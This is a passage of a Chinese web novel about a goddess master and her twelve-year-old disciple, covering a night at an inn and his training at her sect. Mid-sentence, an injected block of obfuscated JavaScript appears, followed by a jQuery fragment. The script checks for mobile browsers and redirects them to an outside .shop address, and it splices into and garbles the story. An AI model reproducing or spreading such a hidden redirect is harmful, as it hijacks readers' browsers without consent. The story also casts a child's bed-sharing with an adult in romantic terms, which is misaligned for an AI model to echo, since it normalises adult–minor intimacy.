天色渐晚,暮色像一层轻柔的纱,漫过凡间城镇的屋檐。街道上的灯笼一盏接一盏亮起,暖黄的光洒在青石板路上,也映在蛊凝与季秋水一身一模一样的红衣上。两人并肩走着,衣袂轻扬,红影相映,连晚风都变得温柔缱绻。
季秋水依旧紧紧牵着蛊凝的手,掌心贴着掌心,温度一点点传递。他时不时偷偷抬眼,望向身侧的师尊,眼底的欢喜与羞涩藏都藏不住。一身红衣衬得蛊凝眉眼愈发柔和,不再是神界武神那般清冷疏离,反倒像凡间最温柔的女子,让他忍不住想要靠近,想要依赖。
走了片刻,蛊凝停下脚步,抬眼望了望渐暗的天色,轻声道:“天色晚了,我们先在客栈歇一晚,明日再回天芜宗。”
季秋水立刻点头,声音软软的,满是顺从:“都听师尊的。”
只要能和师尊在一起,在哪里他都愿意。
蛊凝牵着他,走进街边一间干净雅致的客栈。店内灯火通明,人来人往,却在两人踏入的瞬间,不自觉安静了几分。所有人的目光都被这一对红衣身影吸引——女子美得绝尘,少年清艳夺目,穿着同款红衣,一看便关系匪浅。
掌柜连忙快步迎上来,脸上堆着恭敬的笑:“两位客官,是打尖还是住店?”
蛊凝淡淡开口,声音清泠:“住店,一间上房。”
“一间?”掌柜愣了一下,下意识多看了两人一眼,却不敢多问,连忙应道,“好嘞,一间上房,小的这就带二位上去。”
季秋水跟在蛊凝身后,听到“一间上房”四个字时,小小的身子猛地一僵,耳根瞬间泛起一层薄红。
一间房……那是不是意味着,要和师尊睡在一起?
这个念头刚冒出来,他的心脏就不受控制地狂跳起来,“砰砰砰”的声音,在嘈杂的客栈里,清晰得仿佛只有自己能听见。
他长到十二岁,从来都是一个人蜷缩在破庙里、草堆里,冷了就自己抱紧自己,黑夜里连个说话的人都没有。他从未敢想过,有一天,自己能和师尊待在同一个房间,甚至……睡在同一张床上。
那一定是全世界最温暖、最安心的地方。
跟着掌柜走上木质楼梯,踩在上面发出轻微的声响。季秋水全程低着头,脸颊烫得厉害,眼角余光却忍不住黏在蛊凝的红衣背影上,心跳快得几乎要冲出胸膛。
很快,掌柜推开一间宽敞干净的上房,躬身退下:“二位客官,这间房视野好,也安静,有事随时吩咐小的。”
蛊凝颔首,牵着季秋水走了进去,反手关上房门。
“砰”的一声轻响,将外界的喧嚣彻底隔绝在外。
房间里只点着一盏柔和的灯笼,暖光弥漫,气氛瞬间变得安静又温馨。屋内陈设简洁雅致,一张宽大的木床摆在正中,铺着柔软的被褥,看着便十分舒服。
季秋水站在门边,小手紧紧攥着蛊凝的衣袖,低着头,脸颊通红,黑金色的眼眸里水光微微晃动,一副紧张又期待的模样。
蛊凝看着他这副羞涩局促的样子,忍不住轻笑一声,指尖轻轻捏了捏他滚烫的脸颊:“怎么了?害羞了?”
少年被戳中心事,头埋得更低,声音细若蚊蚋:“没、没有……”
明明都快紧张到不会呼吸了,却还是嘴硬不肯承认。
蛊凝觉得他这副样子可爱极了,心底软得一塌糊涂。她拉着季秋水走到床边坐下,自己也挨着他坐下,两人的肩膀轻轻相贴,温度瞬间交融在一起。
柔软的床榻轻轻下陷,暖光笼罩着两人,一身红衣在灯光下愈发明艳,像一幅温柔得不像话的画。
季秋水的心脏跳得更快了,连呼吸都变得小心翼翼。他能清晰地闻到师尊身上淡淡的草木清香,能感受到她肩膀传来的温暖,能听到她平稳轻柔的呼吸。
这一切都美好得像一场不敢醒来的梦。
他犹豫了很久,小手紧张地攥着衣摆,鼓起毕生所有的勇气,才抬起头,黑金色的眼眸湿漉漉地望着蛊凝,声音轻得像一阵风,带着不易察觉的期待与忐忑:
“师尊……我们、我们一起睡吗?”
问出这句话的瞬间,他的脸颊彻底红透,连耳尖都染上了艳丽的红,整个人像一颗熟透的果子,又甜又软。
他紧张地等待着答案,生怕师尊拒绝,生怕师尊觉得他不懂规矩。
蛊凝看着他紧张到浑身紧绷的样子,眼底笑意更浓,没有丝毫犹豫,温柔地点头,声音软得能滴出水来:
“一起啊。”
简单两个字,却像一道惊雷,在季秋水的脑海里轰然炸开。
一起……师尊说一起睡!
他整个人都僵住,黑金色的瞳孔猛地放大,心脏像是被一只温柔的手狠狠攥住,然后疯狂地跳动,几乎要冲破胸膛。血液一瞬间冲上头顶,让他整个人都陷入巨大的惊喜与悸动之中,连思绪都变得空白。
他怔怔地望着蛊凝,眼底盛满了难以置信,还有浓得化不开的欢喜与依赖。
师尊愿意和他一起睡。
师尊不嫌弃他。
师尊真的会永远陪着他。
蛊凝看着他呆愣的模样,忍不住伸手,轻轻揉了揉他的头发。少年的头发依旧有些干枯,却比在落槐村时干净了许多,软软的,摸起来很舒服。
“傻徒儿,”她轻声笑着,语气里满是宠溺,“以后跟着师尊,不用再一个人睡了。”
季秋水终于回过神,眼眶瞬间红了一圈,泪水在眼底打转,却不是委屈,而是太过开心,太过感动。他用力点头,声音带着微微的哽咽:“嗯……听师尊的。”
只要是师尊说的,他都听。
蛊凝看着他凌乱的头发,忽然来了兴致,眼底闪过一丝孩童般的调皮。她拉过季秋水,让他背对自己坐着,自己则坐在他身后,双手轻轻放在他的头发上。
“师尊给你扎头发玩,好不好?”
季秋水身子一僵,心跳再次不受控制地加速。
师尊……要给他扎头发?
这种亲昵的举动,是他以前想都不敢想的。
他乖乖坐着,一动也不敢动,像一只温顺听话的小兽,任由蛊凝摆弄他的头发。身后传来师尊轻柔的呼吸声,指尖轻轻穿过他的发丝,温柔得不像话,没有一丝嫌弃,只有满满的温柔。
蛊凝的手指纤细温暖,轻轻梳理着他有些凌乱的黑发,动作轻柔细致,生怕弄疼他。她没有用任何发簪、丝带,只是用手指,一点点将他的头发收拢,认真地给他扎着简单的发式。
灯光柔和,映得两人的身影依偎在一起。
红衣轻垂,暖意融融。
季秋水坐在床前,能清晰地感受到师尊指尖的温度,能感受到她轻柔的动作,能闻到她身上淡淡的清香。每一次指尖划过发丝,都像一根细小的羽毛,轻轻撩动着他的心弦,让他的心脏一颤一颤的,跳得又快又乱。
他从来没有被人这样温柔对待过。
从来没有人愿意这样耐心地给他梳理头发,给他扎头发。
在落槐村,所有人都嫌他脏,嫌他丑,嫌他是怪物,连靠近都不愿意。只有师尊,把他捧在手心里,救他,给他取名,给他穿好看的红衣,现在还温柔地给他扎头发。
师尊是全世界最好的人。
是他黑暗生命里,唯一的光。
季秋水紧紧攥着衣角,脸颊滚烫,黑金色的眼眸里盛满了羞涩与欢喜,心脏在胸腔里疯狂跳动,几乎要蹦出来。他能清晰地听到自己的心跳声,一声接着一声,全是对师尊的悸动与依赖。
他甚至不敢回头,生怕破坏了这份温柔,生怕自己失态。
只能乖乖坐着,任由师尊摆弄他的头发,享受着这份独属于他的、前所未有的亲昵与偏爱。
蛊凝坐在他身后,一边认真地给他扎着头发,一边轻声开口,声音温柔得像晚风:“徒儿,以后在师尊身边,不用害怕,不用拘谨。”
“不管你想要什么,师尊都给你。”
“不管你想做什么,师尊都陪着你。”
一句句温柔的话语,轻轻落在季秋水的心底,像一颗颗温暖的种子,瞬间生根发芽,填满了他整个心脏。
他咬着下唇,努力不让自己哭出来,可眼泪还是忍不住滑落,滴落在红衣上,晕开一小片湿润。
这是幸福的泪。
是终于被人珍视、被人疼爱的泪。
蛊凝察觉到他的颤抖,动作顿了顿,以为弄疼了他,连忙轻声问:“怎么了?是不是师尊弄疼你了?”
季秋水连忙摇头,声音带着浓浓的哭腔,却又满是欢喜:“没有……师尊一点都不疼。”
“我只是……只是太开心了。”
他从来没有这么开心过。
蛊凝闻言,轻笑一声,指尖轻轻擦去他脸颊的泪水,动作温柔得不像话:“傻徒儿,以后开心的日子还多着呢。”
她继续给他扎着头发,动作轻柔又认真。暖光下,红衣相映,身影相依,房间里安静得只剩下两人的呼吸声,还有季秋水那快得不像话的心跳声。
少年坐在前方,浑身都被温柔包裹,心脏被欢喜与悸动填满,黑金色的眼眸里,只剩下身后那个温柔的身影。
他在心里一遍又一遍地默念:
师尊。
蛊凝。
季秋水的师尊。
他发誓,这辈子,一定要好好守护师尊,一定要永远陪在师尊身边,一定要用自己的一切,去回报这份温柔与偏爱。
不知过了多久,蛊凝终于停下了动作,轻轻拍了拍他的肩膀,语气带着几分得意与温柔:“好了,扎好了。”
季秋水缓缓回头,望向蛊凝。
灯光下,师尊一身红衣,眉眼温柔,眼底盛满了对他的宠溺。而他自己的头发,被师尊扎得整整齐齐,简单却好看,透着一股少年独有的清艳。
四目相对。
季秋水看着蛊凝温柔的笑颜,心脏再次猛地加速,脸颊烫得几乎要烧起来。
眼前的人,是救赎他的神。
是给他名字、给他温暖、给他一切的师尊。
是愿意和他穿一样红衣、一起睡、还给他扎头发的人。
他张了张嘴,想说什么,却因为太过悸动,一个字也说不出来,只能怔怔地望着蛊凝,黑金色的眼眸里,盛满了全世界最浓烈的欢喜与依赖。
蛊凝看着他通红的脸颊与慌乱的眼神,忍不住伸手,轻轻捏了捏他的脸,笑意温柔:“怎么,心跳又快了?”
被一眼看穿心事,季秋水瞬间低下头,不敢再看她,只能轻轻“嗯”了一声,声音又软又糯,带着少年独有的羞涩。
房间里,灯笼暖光依旧。
红衣相映,温柔缱绻。
一师一徒,相依相伴。
这一刻,时光静止,岁月温柔,甜得让人心尖发软,久久不散。
客栈的热水是掌柜特意吩咐伙计送来的,铜盆里盛着满满一盆温热的水,水汽袅袅,氤氲了整个房间。
蛊凝先扶着季秋水在妆镜前坐下,又将另一盆温度稍低些的水挪到他手边。少年的手还带着些细微的擦伤,她便取了自己从神界带下来的药膏,挤在指尖,耐心地替他涂抹。指尖触碰到少年微凉的皮肤,季秋水便浑身一僵,黑金色的眼眸垂着,不敢看镜中映出的红衣身影,耳尖却悄悄红透了。
“洗干净些,别留着尘土。”蛊凝的声音温软,将布巾浸在热水里,拧干后递给他,“慢慢来,不用急。”
季秋水接过布巾,指尖不小心蹭到她的掌心,像被烫到一般迅速收回,低头乖乖擦拭着脸和脖子。他的动作有些笨拙,却格外认真,仿佛在完成什么神圣的仪式。红衣的衣角垂在地上,与蛊凝的衣摆交叠在一起,像一团揉碎的晚霞。
蛊凝则坐在他身侧,慢条斯理地梳洗。她解了发簪,长发如瀑布般倾泻而下,墨色与红衣相映,美得惊心动魄。季秋水忍不住抬眼,从铜镜里偷偷看她,见她抬手梳理发丝时,皓腕如雪,动作慵懒又优雅,心脏便又开始“砰砰”狂跳,连布巾擦到脸颊都忘了动作。
“看什么?”蛊凝忽然抬眼,透过铜镜与他的目光相撞,唇角勾着一抹戏谑的笑。
少年瞬间收回目光,低头盯着铜盆里的水,脸颊烫得能煮鸡蛋,结结巴巴地说:“没、没看什么……师尊好看。”
最后四个字说得极轻,却清晰地传进蛊凝耳中。她愣了一瞬,随即笑意更深,揉了揉他的头发:“嘴倒甜。”
梳洗完毕,房间里的烛火被调得更暗了些,暖黄的光晕柔柔地笼罩着一切。宽大的木床上,被褥早已铺好,柔软的锦被带着阳光的暖意。
蛊凝先掀开被子躺了进去,侧身朝着里侧,又朝季秋水伸出手,拍了拍身侧的位置:“过来,睡师尊旁边。”
季秋水的心跳漏了一拍,攥着衣角的手紧了紧,却还是乖乖走过去,小心翼翼地掀开被子躺了进去。他不敢靠得太近,只敢挨着床沿,小小的身子绷得笔直,连呼吸都放得极轻,生怕惊扰了身侧的师尊。
两人同盖一床锦被,红衣的衣料偶尔相触,带来一阵温热的触感。房间里静悄悄的,只有彼此的呼吸声,还有季秋水那快得几乎要冲破胸膛的心跳声。
“怎么离师尊这么远?”蛊凝察觉到他的拘谨,主动往他那边挪了挪,手臂轻轻搭在他的腰上,将他往自己怀里带了带。
少年瞬间浑身僵硬,像被施了定身法一般,脸颊贴在她的衣襟上,能清晰地闻到她身上淡淡的草木清香,还有锦被的暖香。他的黑金色眼眸猛地睁大,眼底满是错愕与羞涩,连手脚都不知道该往哪里放。
“师、师尊……”他的声音细若蚊蚋,带着微微的颤抖。
“放松些。”蛊凝的声音温柔得像水,手掌轻轻拍着他的后背,“师徒之间,不必这般拘谨。”
她的手掌温暖,拍抚的动作轻柔,像在安抚一只受惊的小兽。季秋水渐渐放松下来,却还是不敢乱动,只是将脑袋轻轻靠在她的肩头,鼻尖萦绕着她的气息,心底满是安稳与欢喜。
“徒儿,”蛊凝忽然开口,目光望着帐顶的流苏,声音轻缓,“你还记得落槐村外的那片槐树林吗?”
季秋水点了点头,脸颊蹭了蹭她的衣襟,声音软软的:“记得。那里的槐树,秋天会落很多花。”
“嗯。”蛊凝轻笑,“师尊当年下凡创立天芜宗时,路过那里,还在槐树下歇过脚。没想到,多年后,会在那里捡到你。”
“是徒儿运气好。”季秋水的声音带着浓浓的依赖,“若不是师尊,徒儿现在还在落槐村,被人欺负。”
“不是运气。”蛊凝打断他,指尖轻轻拂过他的发顶,语气坚定,“是缘分。师尊与你,本就该相遇。”
缘分二字,像一颗甜糖,在季秋水的心底化开。他抬起头,黑金色的眼眸在昏暗中亮晶晶的,望着蛊凝的眉眼:“师尊,那我们的缘分,会持续一辈子吗?”
“不止一辈子。”蛊凝垂眸,与他对视,眼底盛满了温柔的星光,“是生生世世。师尊说过,会永远陪着你,便会守着这个承诺,直到天地尽头。”
少年的心脏猛地一颤,眼眶瞬间红了。他没有说话,只是伸出手臂,小心翼翼地环住蛊凝的腰,将自己紧紧贴在她怀里。他的手臂很细,却抱得格外紧,像要将自己融进她的骨血里。
蛊凝被他抱得微微一怔,随即唇角扬起一抹温柔的笑意,抬手轻轻梳理着他的发丝,任由他抱着。
两人就这样有一搭没一搭地聊着。蛊凝给他讲梧怨神界的趣事,讲当年创立天芜宗时的荒唐事,讲山间灵狐阿芜的调皮;季秋水则安静地听着,偶尔会插一两句话,讲自己在落槐村的点滴,讲那些藏在黑暗里的孤独。
他从未对人说过这些,可在蛊凝面前,他却毫无保留。因为他知道,师尊是唯一会听他说话,会心疼他的人。
夜色渐深,窗外的风渐渐大了起来,吹得窗棂“吱呀”作响。就在这时,一道耀眼的闪电划破夜空,紧接着,“轰隆”一声巨响,惊雷在客栈上空炸开。
季秋水的身子猛地一颤,下意识地往蛊凝怀里缩了缩。
他从小便怕打雷。在落槐村时,每到雷雨夜,他都会蜷缩在破庙的角落,用手臂抱着头,听着雷声与雨声,独自忍受着恐惧。没有人会安慰他,没有人会抱着他,只有无尽的黑暗与冰冷。
这声惊雷,瞬间将他拉回了那些孤独的夜晚,心底的恐惧翻涌而上。
可下一秒,一双温暖的手臂,便紧紧地将他拥入了怀中。
蛊凝几乎是下意识地收紧了手臂,将季秋水整个人护在自己怀里,手掌轻轻按在他的后脑勺上,让他的脸埋在自己的颈窝,隔绝了外界的闪电与雷声。
“别怕。”她的声音温柔而坚定,带着安抚人心的力量,在雷声中清晰地传进少年的耳中,“师尊在,师尊抱着你,没事的。”
季秋水的身子僵在她的怀里,大脑一片空白。
错愕,是第一瞬间的感觉。
他从未想过,高高在上的梧怨武神,会在打雷时,这样紧紧地抱着他,像护着珍宝一般护着他。
紧接着,便是汹涌而来的悸动与暖意。
心脏像是被一只滚烫的手紧紧攥住,然后疯狂地跳动,“砰砰砰”的声音,大到盖过了窗外的雷声,盖过了耳边的风声。血液瞬间冲上头顶,让他的脸颊、耳根、脖颈,全都红得像火。
他能清晰地感受到蛊凝怀抱的温暖,能感受到她平稳的心跳,能感受到她手掌轻轻抚过他后背的温柔。那股从骨子里蔓延出来的恐惧,在她的怀抱与安抚中,瞬间烟消云散,取而代之的,是无尽的安心与欢喜。
“师、师尊……”他的声音带着微微的颤抖,却不再是因为恐惧,而是因为太过浓烈的悸动。
“乖,不怕。”蛊凝的脸颊贴在他的发顶,嘴唇轻轻碰了碰他的额头,语气温柔得能滴出水来,“雷声只是天地的声响,伤不到你。有师尊在,什么都伤不到你。”
她的唇瓣温热,触碰到额头的瞬间,季秋水的心跳几乎要停止,随即又以更快的速度跳动起来。他紧紧地回抱住蛊凝,将自己埋在她的颈窝,手臂收得更紧,仿佛要将她揉进自己的生命里。
窗外,闪电一道接一道,雷声滚滚,大雨倾盆而下,打在窗纸上,发出“噼里啪啦”的声响。
可房间里,却温暖得不像话。
锦被之下,两道红衣身影紧紧相拥。蛊凝的手掌一下又一下,轻柔地拍着季秋水的后背,嘴里低声念着安抚的话语;少年则埋在她的颈窝,听着她的声音,感受着她的温暖,心脏狂跳不止,眼底盛满了浓得化不开的依赖与偏执。
“师尊,”季秋水的声音闷闷的,带着浓浓的鼻音,却格外清晰,“你会一直这样抱着徒儿吗?”
“会。”蛊凝没有丝毫犹豫,手掌轻轻揉着他的头发,“以后每一个打雷的夜晚,师尊都抱着你。”
“那徒儿永远都不要长大。”季秋水的声音带着几分孩子气的执拗,“这样,师尊就可以一直抱着徒儿了。”
蛊凝忍不住轻笑,指尖轻轻捏了捏他的脸颊:“傻徒儿,长大也没关系。不管你长到多大,都是师尊的徒儿,师尊都会抱着你,护着你。”
少年没有说话,只是将脸埋得更深,在她的颈窝蹭了蹭,像一只满足的小兽。
窗外的雷雨还在继续,可季秋水却再也没有感到一丝恐惧。
因为他知道,他的师尊,正紧紧地抱着他。
这怀抱,是他的全世界。
是他黑暗生命里,永远不会熄灭的光。
他在蛊凝的怀抱里,听着她温柔的安抚,感受着她滚烫的温度,心跳渐渐平稳下来,却依旧带着浓浓的悸动。眼皮渐渐沉重,困意席卷而来。
在陷入沉睡之前,他在心里默默念着:
师尊,我会永远陪着你。
生生世世,永不分离。
蛊凝感受到怀中人的呼吸渐渐平稳,知道他睡着了。她低头,看着少年熟睡的容颜,黑金色的眼眸紧闭,长长的睫毛像两把小扇子,脸颊还带着未褪的红晕,嘴角微微上扬,带着一丝安心的笑意。
她的唇角,也扬起一抹温柔的弧度。
手掌依旧轻轻拍着他的后背,目光温柔而缱绻,落在他的脸上,再也移不开。
窗外雷声渐歇,雨声淅沥。
房间里,暖光依旧,红衣相拥。
这一夜,季秋水睡得格外安稳。
因为他知道,自己被全世界最温柔的人,紧紧地抱在怀里。
天芜宗的山门隐在云雾深处,寻常人纵是走到山脚下,也难寻得入口。唯有身具天芜宗气息之人,方能见得那道隐在瀑布后的石门。
蛊凝牵着季秋水的手踏上山阶时,晨雾正浓,飞瀑如练,砸在青石上溅起细碎的水花。十二岁的少年穿着一身绯色劲装,比初见时高了小半个头,肩背也舒展了些,不再是那副瘦骨嶙峋的模样。他依旧牵着蛊凝的手,只是如今不再是攥得发白,而是稳稳地扣着,掌心的薄茧磨过蛊凝的指尖,带着少年人独有的温热。
“师尊,前面就是天芜宗了吗?”季秋水侧过头,黑金色的瞳孔在晨雾里亮得像淬了光的黑曜石。
蛊凝抬眼,用那根搅粥木棍轻轻点了点前方的瀑布。那瀑布宽逾三丈,水流湍急,可在她指尖触及的瞬间,漫天水雾骤然分开,露出一道刻满古老符文的石门。石门缓缓向内开启,门后是蜿蜒的山道,两旁古木参天,灵气浓郁得几乎要凝成实质。
“到了。”蛊凝牵着他跨过石门,“以后这里就是你的家。”
季秋水的目光扫过山道旁刻着的“天芜”二字,又落回蛊凝身上,唇角不自觉地勾起。他的家,从来都不是一座山,而是身边这个人。
入了山门,最先撞见的是守在山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338213|199268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道旁的外门弟子。他们皆是身着青衫,见着蛊凝一身绯红衣袂,又瞧着她身边跟着个红衣少年,皆是一愣,随即齐齐躬身行礼,声音整齐划一:“见过祖师娘!”
天芜宗上下皆知,他们这位祖师娘性子散漫,却最护短,当年一句“顺天应人,自在随心”定了宗规,便再也没人敢拿世俗规矩束缚她。只是众人虽恭敬,目光却忍不住偷偷往季秋水身上瞟,见他与祖师娘穿着同款红衣,生得清艳夺目,那双眼睛更是从未见过的黑金色,心底都犯了嘀咕。
季秋水察觉到那些窥探的目光,下意识地往蛊凝身边靠了靠,却没有低头,反倒抬起头,黑金色的眼眸冷冷地扫过那些弟子。十二岁的少年,眉眼间尚未褪去稚气,却已自带一股凛冽的气场,竟让不少外门弟子悄悄收回了目光。
蛊凝将他的小动作看在眼里,唇角微勾,抬手揉了揉他的头发:“别怕,有师尊在。”
说着,她牵着他径直往主峰走去,路过演武场时,正遇上一群内门弟子在练剑。剑光霍霍,剑气纵横,却在蛊凝踏入的瞬间,所有弟子都停了动作,齐刷刷地跪了一地:“见过祖师娘!”
蛊凝摆了摆手,语气依旧散漫:“起来练,别因为我扰了功课。”
弟子们应声起身,却不敢再练剑,只是低着头,目光时不时地往季秋水身上瞟。人群里,有几个胆子稍大的内门弟子,忍不住窃窃私语。
“那少年是谁?怎么和祖师娘穿一样的红衣?”
“看祖师娘的样子,怕是极疼他,说不定是亲传弟子?”
“不可能吧?祖师娘两千年来从未收过亲传弟子,何况这孩子看着才十二三岁……”
“你没见祖师娘牵着他的手吗?还揉他头发呢!我这辈子都没见过祖师娘对谁这么温柔!”
细碎的议论声飘进耳中,季秋水的脸颊微微发烫,却挺直了脊背,紧紧牵着蛊凝的手,像一只被护在羽翼下的小兽,却偏要露出锋利的爪牙,告诉所有人,他是师尊的徒弟。
蛊凝似是没听见,依旧牵着他往前走,直到走到主峰的祖师殿旁,才停下脚步。祖师殿巍峨壮丽,雕梁画栋,可蛊凝却带着季秋水,拐进了祖师殿东侧的一处小院。
小院不大,却雅致清幽,院门外种着几株绯色的花树,正是当年她亲手栽下的。院内三间茅屋,依旧是当年的模样,青石桌摆在院中,竹椅靠在檐下,连那根搅粥用的木棍,都还挂在茅屋檐下。
“师尊当年便住在这里。”蛊凝推开院门,牵着季秋水走进去,“往后,你就住隔壁那间。”
季秋水顺着她的手指看去,只见东侧那间茅屋收拾得干干净净,铺着崭新的被褥,窗边还摆着一盆开得正艳的绯色花,与他身上的红衣相映。
“就在师尊隔壁?”季秋水的心跳漏了一拍,黑金色的眼眸里满是惊喜。
“不然呢?”蛊凝挑眉,将他拉到小院中央,“师尊说过会永远陪着你,自然要住得近些。你若夜里怕黑,喊一声,师尊便能听见。”
少年的脸颊瞬间红透,点了点头,声音软乎乎的:“嗯,听师尊的。”
他的房间就在师尊隔壁,一墙之隔,便能听到师尊的呼吸声,便能感受到师尊的气息。这比任何承诺都要让他安心。
安顿下来的第二日,蛊凝便开始带季秋水修炼。
天芜宗的修炼法门,皆是蛊凝当年随手创下,不重招式,重的是与天地相融,与自身相合。可这些法门于旁人而言,晦涩难懂,于季秋水而言,却仿佛天生契合。
每日清晨,天刚蒙蒙亮,季秋水便准时站在小院的青石桌旁,等着蛊凝。他不再是那个连抬头都不敢的少年,一身绯色劲装穿得笔挺,黑金色的眼眸里满是认真。
蛊凝依旧穿着与他同款的红衣,手里捏着那根搅粥木棍,站在他面前:“今日,师尊教你引气入体。”
她没有像宗内的长老那样,拿着功法口诀逐字讲解,只是拉着季秋水坐在青石上,指着院外的云海:“徒儿,闭上眼睛,感受风的方向,感受草木的呼吸,感受天地间的灵气。”
季秋水乖乖闭眼,十二岁的少年,骨子里的倔强与坚韧被彻底激发。他摒除一切杂念,静下心来,果然感受到了萦绕在周身的细微气流。那些气流温润,带着草木的清香,顺着他的毛孔,缓缓涌入体内。
“顺着经脉,往丹田走。”蛊凝的声音轻轻响起,指尖轻轻点在他的丹田处。
季秋水浑身一颤,只觉一股暖流顺着指尖涌入,指引着那些灵气,缓缓朝着丹田汇聚。不过半个时辰,他便清晰地感受到,丹田处聚起了一团小小的气团。
蛊凝眼中闪过一丝讶异。
引气入体,便是天芜宗资质最好的弟子,也需三日,可季秋水,只用了半个时辰。
“真是个小怪物。”蛊凝轻笑,却不是嫌弃,而是满满的骄傲,抬手揉了揉他的头发,“不愧是师尊的徒儿。”
季秋水睁开眼,黑金色的瞳孔里闪着亮光,他能清晰地感受到体内的气团,那是前所未有的力量。他看着蛊凝,语气带着少年人的得意:“师尊,我是不是很厉害?”
“厉害。”蛊凝毫不吝啬地夸赞,“比师尊当年还厉害。”
她当年引气入体,用了整整一日。
从那日起,季秋水的修炼便像开了挂一般。
蛊凝教他的功法,他过目不忘;教他的招式,他一学就会,还能举一反三。不过三月,他便从引气境踏入筑基境,半年后,竟已达到金丹境,这样的修炼速度,震惊了整个天芜宗。
每日清晨,小院里都会传来季秋水练剑的声响。他手持一把蛊凝为他寻来的绯色长剑,剑光如练,与他的红衣相映,像一团燃烧的烈火。十二岁的少年,练剑时身姿挺拔,眉眼冷峻,那双黑金色的眼眸里满是凌厉,与平日里对着蛊凝的温顺模样,判若两人。
蛊凝便坐在檐下的竹椅上,手里端着一碗甜粥,一边喝,一边看着他练剑。阳光落在少年身上,将他的身影拉得修长,他比初见时高了半个头,肩膀也宽了些,褪去了几分稚气,多了几分少年人的英气。
“徒儿,歇会儿。”蛊凝扬了扬手里的粥碗,“喝口粥,再练。”
季秋水收了剑,快步走到她身边,接过粥碗,大口大口地喝起来。他的动作依旧带着几分孩童的憨态,可眼底的专注,却与练剑时一般无二。
“师尊,”他喝着粥,忽然开口,“我今日,能试着练那套‘梧怨剑法’吗?”
梧怨剑法,是蛊凝当年封神时所创,凌厉霸道,是天芜宗最强的剑法。
蛊凝挑眉:“你才金丹境,练这套剑法,会伤了自己。”
“不怕。”季秋水放下粥碗,黑金色的眼眸里满是坚定,“我想变得更强,强到能保护师尊。”
蛊凝的心,忽然软得一塌糊涂。
她伸出手,轻轻揉了揉他的头发,发丝比当年柔顺了许多,带着淡淡的清香。“傻徒儿,师尊不用你保护,师尊会保护你。”
“不。”季秋水握住她的手,指尖滚烫,“徒儿要保护师尊,此生,定要护师尊周全。”
蛊凝看着他眼底的偏执与认真,忽然笑了,点了点头:“好,那师尊等你。”
日子一天天过去,季秋水的个子,像雨后的春笋,蹭蹭地往上长。
十三岁那年,他已经长到了蛊凝的肩膀,一身绯色劲装穿在身上,愈发挺拔,黑金色的眼眸在阳光下,璀璨如星。他依旧每日跟着蛊凝修炼,依旧每日黏在蛊凝身边,依旧对旁人冷冰冰,只对蛊凝一人温柔。
天芜宗的弟子们,也渐渐习惯了这位祖师娘的亲传弟子。只是每次见着两人,依旧会忍不住窃窃私语。
“你看,季师弟又跟着祖师娘练剑了!”
“哇,季师弟又长高了!现在都快比祖师娘高了!”
“祖师娘对季师弟也太好了吧!今日又给季师弟带了桂花糕!”
“你没见昨日下雨吗?祖师娘把自己的披风解下来,裹在季师弟身上,自己淋着雨!”
“羡慕了!我也想做祖师娘的徒弟!”
“别想了,祖师娘说了,季师弟是她唯一的亲传弟子!”
这些议论声,季秋水听得清清楚楚,却毫不在意。他只在意,师尊是不是在身边,师尊是不是对他笑了,师尊是不是又给他带了好吃的。
这日,练完剑,蛊凝牵着季秋水的手,往山下去。今日是凡间的庙会,蛊凝想去凑凑热闹。
季秋水紧紧牵着她的手,他的手掌,已经比蛊凝的大了些,能稳稳地将她的手,扣在掌心。
山下的庙会热闹非凡,叫卖声、欢笑声,此起彼伏。蛊凝牵着季秋水,走进人群,像寻常的师徒,又像一对并肩而行的伴侣。
“师尊,你看,糖画!”季秋水指着不远处的糖画摊,眼里闪着光。
蛊凝笑着点头:“好,给你买。”
她依旧像当年一样,先捏了一小块糖,放进嘴里,才递给季秋水。少年接过糖画,眼底满是欢喜,却依旧先递到蛊凝嘴边,让她先咬一口。
蛊凝咬了一口,甜得眉眼弯弯。
季秋水这才小心翼翼地吃起来,黑金色的眼眸里,满是温柔。
庙会的人来人往,有人不小心撞了季秋水一下,少年瞬间冷下脸,黑金色的眼眸里满是戾气,可在看到蛊凝的瞬间,又瞬间褪去,只剩下温柔。
“没事,师尊。”他轻声道,紧紧牵着蛊凝的手,生怕她被人挤散。
蛊凝看着他紧张的模样,忍不住笑了,伸手揉了揉他的头发:“傻徒儿,有师尊在,没人能挤散我们。”
逛完庙会,两人牵着手上了山。夕阳西下,将两人的身影,拉得很长很长,一身红衣,在夕阳里,像一团燃烧的火。
回到小院,季秋水依旧牵着蛊凝的手,不肯松开。
“师尊,”他忽然开口,黑金色的眼眸里,满是认真,“我今日,又长高了。”
蛊凝抬眼,果然,少年已经比她高了半个头,站在她面前,需要微微低头,才能与她对视。
“嗯,长高了,越来越好看了。”蛊凝笑着,伸手捏了捏他的脸颊。
少年的脸颊瞬间红透,心跳加速,却依旧紧紧牵着她的手,轻声道:“师尊,我以后,要长得比师尊高很多,这样,就能永远护着师尊了。”
蛊凝看着他眼底的偏执与温柔,忽然踮起脚尖,轻轻揉了揉他的头发:“好,师尊等你。”
夜色渐深,两人躺在同一张床上,季秋水从身后,轻轻拥着蛊凝的腰,将脸埋在她的颈窝,呼吸间,满是她的清香。
“师尊,”少年的声音,带着几分睡意,又带着几分认真,“我会永远陪着你,永远护着你。”
蛊凝轻轻拍着他的手背,声音温柔:“好,师尊等你。”
窗外,月光皎洁,星光璀璨。
院内,红衣相拥,岁月温柔。